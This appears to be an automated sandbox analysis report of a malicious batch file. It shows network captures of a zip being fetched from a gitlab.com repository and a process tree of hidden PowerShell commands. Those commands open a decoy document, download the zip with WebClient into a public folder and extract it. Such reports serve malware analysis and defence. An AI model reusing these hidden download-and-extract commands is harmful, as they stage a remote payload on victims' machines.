X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 02fff559fe614b41bd64ecbe613288d0 Connection: close
2024-11-18 07:35:19 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:35:26 UTC	100	OUT	GET /bose1511/mkt1511/-/raw/main/18Fukrun.zip HTTP/1.1 Host: gitlab.com Connection: Keep-Alive
2024-11-18 07:35:26 UTC	284	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:35:26 GMT Content-Type: application/octet-stream Content-Length: 68971076 Connection: close cache-control: max-age=60, public, must-revalidate, stale-while-revalidate=60, stale-if-error=300, s-maxage=60 content-disposition: attachment
2024-11-18 07:35:26 UTC	2226	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 61 70 74 63 68 61 2e 6e 65 74 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 20 68 74 74 70 73 3a 2f 2f 2a 2e 7a 75 6f 72 61 2e 63 6f 6d 2f 61 70 70 73 2f 50 75 62 6c 69 63 48 6f 73 74 65 64 50 61 67 65 4c 69 74 65 2e 64 6f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/
2024-11-18 07:35:26 UTC	575	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 74 39 43 70 37 79 6e 50 58 61 50 71 4d 58 30 6d 45 41 67 77 73 50 57 58 35 37 44 77 48 4d 32 61 72 32 30 73 41 42 38 67 39 42 45 61 47 69 77 35 33 58 69 46 4f 6a 71 4a 45 76 37 33 63 77 78 75 75 49 71 25 32 42 65 51 63 36 4d 69 35 51 78 47 66 75 59 6b 48 39 32 56 62 4c 37 71 45 76 49 25 32 46 35 6e 79 4a 25 32 42 56 32 34 74 66 66 76 46 6b 76 33 78 70 56 76 4b 6d 73 52 55 41 4b 50 49 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t9Cp7ynPXaPqMX0mEAgwsPWX57DwHM2ar20sAB8g9BEaGiw53XiFOjqJEv73cwxuuIq%2BeQc6Mi5QxGfuYkH92VbL7qEvI%2F5nyJ%2BV24tffvFkv3xpVvKmsRUAKPI%3D"}],"group":"cf-nel","max_age":604800}NEL:
2024-11-18 07:35:26 UTC	1369	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 5c b1 46 58 b9 e1 db da 47 27 00 00 0a 90 00 00 0b 00 00 00 4c 49 43 45 4e 53 45 2e 74 78 74 dc 5c 5d 73 db b8 92 7d 47 15 ff 03 4a 2f b1 eb d2 8c e5 4c 32 93 49 6d ed ca 12 6d f3 ae 2d 79 29 29 99 dc a7 4b 49 90 85 09 45 68 08 d2 1a cd af df ee 06 c0 0f 59 76 ec cc 57 ed 2a 55 8a 44 11 8d 46 a3 d1 7d 4e 03 74 2f e0 57 d1 78 32 8a 3f f3 d1 05 9f 5c 85 7c 3c ba 98 7c ea c5 a1 c7 fe e3 d1 97 c7 3c 76 bb 2b 56 2a e3 db 44 f3 79 2e 92 42 2c b8 cc 78 b1 12 5c 24 79 ba e3 dd f7 ef 4f 35 9f ed f8 65 29 17 8a df 27 19 8f 95 d6 e5 9a 27 05 1f 17 72 be 2a 64 76 e7 b1 9b 04 da ac 93 42 ea f9 8a f7 45 56 e4 70 cb 51 ff 53 e4 73 2d 04 5f 15 c5 46 ff f8 fa f5 76 bb 0d e6 5b 19 64 e9 b1 eb 67 28 e0 3d 4f 93 6c a1 3d 06 6a 24 5c 97 f3 b9 d0 Data Ascii: PK\FXG'LICENSE.txt\]s}GJ/L2Imm-y))KIEhYvWUDF}Nt/Wx2?\\|<\|<v+VDy.B,x\$yO5e)''r*dvBEVpQSs-_Fv[dg(=Ol=j$\
2024-11-18 07:35:26 UTC	1369	IN	Data Raw: 87 7c 4a 97 6e 3f 4f ae 46 c3 a7 30 f1 b3 5e 0d e0 5c 39 0d 2e d2 85 9a 97 08 97 4c ea c6 ab 76 12 1b 2e e4 b1 27 00 c9 b5 9d f3 8f 76 41 9c d1 80 61 0e 73 5a 8b 64 7d db fc 4d f0 43 f0 ce e7 e2 d7 64 bd 49 71 dd 81 09 e5 06 3f a0 26 c6 a3 e7 0a a6 41 66 26 9d 3e 54 6e 81 e0 e3 a1 86 14 4b 1e 68 e2 31 87 11 ff 25 72 75 d2 27 0f e4 e7 e3 81 93 60 54 55 6b 51 db 04 7d c7 40 19 a2 15 85 72 ca 4b 6d bb 83 00 b0 14 39 22 4c b7 72 03 f4 a9 c6 42 36 56 d4 28 81 86 4f 63 5a 82 53 a3 41 9c ce 49 d1 d2 c2 63 66 a2 2b 16 04 9e 31 1d 0e 7a e8 25 fc 3a ea 87 43 f0 88 8f 61 3c c6 ef 30 b2 93 17 bc 50 7a 17 fc 0f 49 80 13 d5 bb 8c c3 f0 26 1c 4e 70 60 33 51 6c 11 ee 3c 8d 3d 21 60 74 c0 ce 9d 63 bf c2 de 51 b6 90 f7 92 26 05 a8 cf a8 01 2d f9 51 c7 ce 87 e8 1c f3 84 d8 Data Ascii: \|Jn?OF0^\9.Lv.'vAasZd}MCdIq?&Af&>TnKh1%ru'`TUkQ}@rKm9"LrB6V(OcZSAIcf+1z%:Ca<0PzI&Np`3Ql<=!`tcQ&-Q
2024-11-18 07:35:26 UTC	1369	IN	Data Raw: ac 84 09 1a 83 8f 24 1c 30 79 9e f8 bc df e3 ef df 9e be ed 56 c8 d2 63 df 04 2d f7 a7 d0 63 6d 68 f9 14 9e e4 6d 38 e9 b1 36 fb 38 ea e0 34 3b a0 d0 39 fe 16 80 d9 2a 36 1f f0 0a df dd 61 13 e8 41 c4 79 52 43 4e 8f bd 0c 73 f2 c3 90 d3 63 2f c7 9c 7c 0f 72 b6 41 3d b1 e1 1a 55 fd 2e e4 f9 a0 4a ef ec 61 ea 1d 35 12 23 b7 71 7d fa cf e8 94 3f 05 c8 6c 97 35 cc 68 8f e8 25 60 c3 ae c4 bf 04 6f ec f7 f5 37 42 8e e6 9e de 0b 81 c7 77 81 1b c8 b7 61 0f f8 e6 b1 06 93 fe 1d 08 04 96 e7 98 37 11 08 61 0b bf 06 22 78 63 13 8a b4 c6 ed 5b 05 3d f6 07 80 8f b7 7f 2d f8 78 1c eb 54 88 e3 4e c1 52 ca cc 02 a2 10 9a 81 34 58 55 76 4f 16 ee 42 fc 81 9b 4b 85 76 99 12 8b 81 76 2b 68 5c a0 7e f0 a5 9f a4 12 22 51 26 13 2c 0f 21 57 c0 15 07 fa 2c 21 0e 15 c4 0a b0 19 85 Data Ascii: $0yVc-cmhm8684;9*6aAyRCNsc/\|rA=U.Ja5#q}?l5h%`o7Bwa7a"xc[=-xTNR4XUvOBKvv+h\~"Q&,!W,!
2024-11-18 07:35:26 UTC	1369	IN	Data Raw: ae e0 7a 9c e6 88 18 e0 b3 2b aa ed de f4 00 39 c0 5b 34 ee 5f 71 70 eb 49 3c bd e1 0d 40 78 7d dd 80 9e 00 d3 26 57 80 76 2e 7b 80 ca 26 23 f0 ae ab 68 dc 28 0d 03 86 ba 9e 0e 50 2c b6 b3 d0 b4 d9 fe 00 80 24 04 6a 21 24 4a 40 54 8a 78 67 62 d1 dd 57 54 ad 80 5f 0d 3f 2b f4 16 0d 07 51 1c f6 27 4f c2 38 6c 61 bf 7a ec 13 60 d4 f1 08 ba 8f 2d a6 c3 7e 2f e2 d1 8d 41 7b 54 2c 87 71 0e 7a 93 1e b6 bd 8d 47 a0 39 a8 fd e9 2a 44 00 86 ea f7 00 59 f6 fa 06 3a 5f 60 b7 93 18 be fa 7c 18 5e 5e 47 97 e1 b0 1f 56 58 10 4c 08 40 79 34 05 33 f7 0d 38 ef c5 91 39 36 39 9d 00 20 bc e0 23 12 09 42 86 21 dd 61 26 a0 02 d1 a0 41 18 c3 b0 6f 7a 24 f6 82 b7 e6 83 66 fa 5f 61 3c 3a 81 c9 c4 fb f1 a0 a0 8b 5d 17 64 93 41 88 f2 51 9e 8d 5e 83 51 7f 7a e3 b0 ff b7 44 ae 43 af Data Ascii: z+9[4_qpI<@x}&Wv.{&#h(P,$j!$J@TxgbWT_?+Q'O8laz`-~/A{T,qzG9*DY:_`\|^^GVXL@y438969 #B!a&Aoz$f_a<:]dAQ^QzDC
2024-11-18 07:35:26 UTC	1369	IN	Data Raw: 21 f2 21 9f 44 db 66 ec ab b4 df f1 1e c3 67 0e ec 1a 31 54 de 91 31 da e3 7a 19 41 62 8e 0c d5 b4 e8 e0 2e 4f f8 53 08 3a f7 e2 cf 0f 69 13 73 3c e9 e8 2b 23 07 03 f7 a7 b1 a9 06 c2 70 c7 d3 f3 f1 24 9a 4c 27 21 bb 1c 8d 06 44 bb c6 61 fc 11 d8 f7 f8 c3 c3 62 82 df a0 56 1f f0 f3 39 6e 11 e1 3c 44 c3 49 18 c7 d3 5b e4 42 c7 fc 6a f4 89 a8 5a 1f f9 fc 80 8c 38 1a da 9d b2 d0 fe e5 91 eb c8 da d8 67 0d 8e 56 d3 32 dc 95 ea 4f 1a b7 f1 91 a1 65 8d 31 b2 16 77 ab 77 ae 8e 2b ba 16 99 6e 69 c7 d1 30 b7 d6 41 c9 68 cc 9c fb 3d 6b fb 8a 4c d6 bf b2 b4 14 3c d8 66 05 93 13 7c fe b3 a6 0f ff 95 cc d7 f8 b7 12 18 e5 9b d7 2e f1 54 e7 5f bb c1 69 f0 03 ae c4 ee 1b cc 2b 3b 3a de f3 87 e6 46 ca ee cb a5 e4 27 fc 41 81 16 13 da d9 19 e7 bd 0c 53 fc 8e 5f 02 b4 cd 7c Data Ascii: !!Dfg1T1zAb.OS:is<+#p$L'!DabV9n<DI[BjZ8gV2Oe1ww+ni0Ah=kL<f\|.T_i+;:F'AS_\|
2024-11-18 07:35:26 UTC	1369	IN	Data Raw: 48 1a c8 06 67 e2 cd 7e 57 ee 30 e3 84 c2 5b 14 04 e2 81 20 cb 4c 16 1f 63 ae eb 9c 30 49 7a 0e 22 c9 0e d8 62 e4 b1 5d fd 57 a6 f9 e4 e8 ca c7 42 31 67 d8 0e a9 62 e4 03 a8 e9 11 61 05 a8 45 4b 83 fb 99 53 94 2a d8 ae 26 09 e1 6b 75 b3 77 02 99 39 21 90 f0 c0 34 67 a9 1a dd 7b 0a 1c d2 54 dc b1 27 b6 c6 6b 12 6b 3a 30 64 1d 18 5c ec c6 8c 0f 5d 6d bc 0f ef bc 4a ac 41 d3 d5 3c 3e 6c fd 85 f3 02 5d 23 26 0e 69 8d 8d f3 30 8b 20 9d ea ac a6 42 8c 6c 02 55 d7 fe 2d 07 40 d2 a6 ae 00 ff e2 97 62 91 97 59 6a a2 64 60 a2 6c 2b 5e 02 00 bf 75 91 e4 5d 10 16 c8 aa 6b c3 c1 91 32 a3 bb ae 29 a1 15 8f 52 57 86 2b af 25 0b 04 b4 41 a0 b7 cd a2 58 31 9b 3a 9a a4 b1 aa 1d e1 8f 70 b9 10 a2 8e 1f a1 5d 00 f7 22 d9 34 6a 94 59 c9 67 56 ad 44 9b c1 88 1c 64 07 61 e5 6d Data Ascii: Hg~W0[ Lc0Iz"b]WB1gbaEKS*&kuw9!4g{T'kk:0d\]mJA<>l]#&i0 BlU-@bYjd`l+^u]k2)RW+%AX1:p]"4jYgVDdam
2024-11-18 07:35:26 UTC	1369	IN	Data Raw: 49 c7 c8 d0 20 04 4b 20 8e 8e 05 c3 79 7f 28 4c 28 2d 76 38 66 3f 2a 24 59 7a 13 dd fe 2a af 8e 2d 32 64 d4 ec 1c a2 51 37 71 59 35 11 18 2b 0e 0e f8 56 ac 5b a5 fe 07 cc 5c bb 05 68 83 5b a1 49 47 67 c2 ae 0c 0f 45 06 08 85 5e bb d0 59 4f a1 d8 08 ed 83 7d 8e ce 9c bb 75 4b ab fa 81 a1 20 14 2a 4d 06 46 06 2e 8b a6 1c a0 1e 5d 31 d5 bd 62 f1 7b 4b 5a 91 6f 78 5b c6 47 04 b6 b1 7b 20 90 46 f5 a9 29 ff 58 37 8a 2d 64 b8 f6 3a 5a 49 dd 32 c1 cd 15 44 21 6e 0e 7f e1 b7 75 45 ad a0 60 69 bd 65 50 63 6b 08 c6 9b 7a cb 64 e9 27 c9 0b 22 c4 28 0a 3c 88 fd ca d9 e2 a7 e5 9e 18 b9 1b 44 5c 3f cc d3 23 05 79 c2 73 1f f3 06 84 b3 d3 13 a1 dc 2e 76 82 d9 06 66 b1 f4 5a 15 03 2e 27 ba 3d 21 b2 96 a9 0c 44 1b b4 81 db 03 ac 84 c8 97 7a 98 75 31 ed e3 10 18 8d 56 79 16 Data Ascii: I K y(L(-v8f?$Yz-2dQ7qY5+V[\h[IGgE^YO}uK *MF.]1b{KZox[G{ F)X7-d:ZI2D!nuE`iePckzd'"(<D\?#ys.vfZ.'=!Dzu1Vy
2024-11-18 07:35:26 UTC	1369	IN	Data Raw: d9 02 f6 b3 f3 a2 c4 db 01 45 ff e6 fc b7 e3 f7 67 f0 08 6c 8c 97 52 09 88 3a 6b 09 87 1a 8f 53 74 46 23 24 05 9a 98 d8 74 8d 2a 63 35 89 97 be d1 9f d9 f2 c6 f0 03 5e d3 d3 f7 5c 56 e2 56 dc 1e 75 0a 8a 39 d6 e4 e4 6d 97 43 9c a4 c5 78 f3 4b af a5 01 dd 21 f0 dc e2 5d 09 b7 da 96 7b 79 a5 07 af 0f df b7 f8 bd 2e fe ca da f7 cf e7 cf 9f ff 30 7f f6 23 26 7a 0e 9e cf b4 0a 72 92 f4 27 ef f6 cf dd 9b 7c 70 81 09 00 f9 08 ac 8b d6 31 4c 47 df d2 50 93 bf 88 da 96 92 57 80 7e 79 15 0c e0 57 62 48 eb 17 1c 50 00 48 e7 eb 24 d9 13 0f cd 77 92 3c a7 19 3f f9 e1 e9 b3 ef 30 b3 76 f0 62 86 2c 83 64 e6 69 7a 4f e3 3a 64 84 35 30 df 8d f0 04 ae bc e1 4f ef f5 56 c0 e9 dc c0 40 4c b9 c1 85 3a 02 e7 88 4b 4f b1 11 37 da c0 72 db 4f 12 52 d9 5c 3e 69 22 92 f6 8b 75 ff Data Ascii: EglR:kStF#$t*c5^\VVu9mCxK!]{y.0#&zr'\|p1LGPW~yWbHPH$w<?0vb,dizO:d50OV@L:KO7rOR\>i"u

Target ID:	0
Start time:	02:35:11
Start date:	18/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\18cut04.bat" "
Imagebase:	0x7ff677e60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	3
Start time:	02:35:12
Start date:	18/11/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp.com 437
Imagebase:	0x7ff617aa0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	12
Start time:	02:35:13
Start date:	18/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c type tmp
Imagebase:	0x7ff677e60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	02:35:22
Start date:	18/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx'"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	15
Start time:	02:35:24
Start date:	18/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/bose1511/mkt1511/-/raw/main/18Fukrun.zip', 'C:\Users\Public\Document.zip')"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	17
Start time:	04:22:14
Start date:	18/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre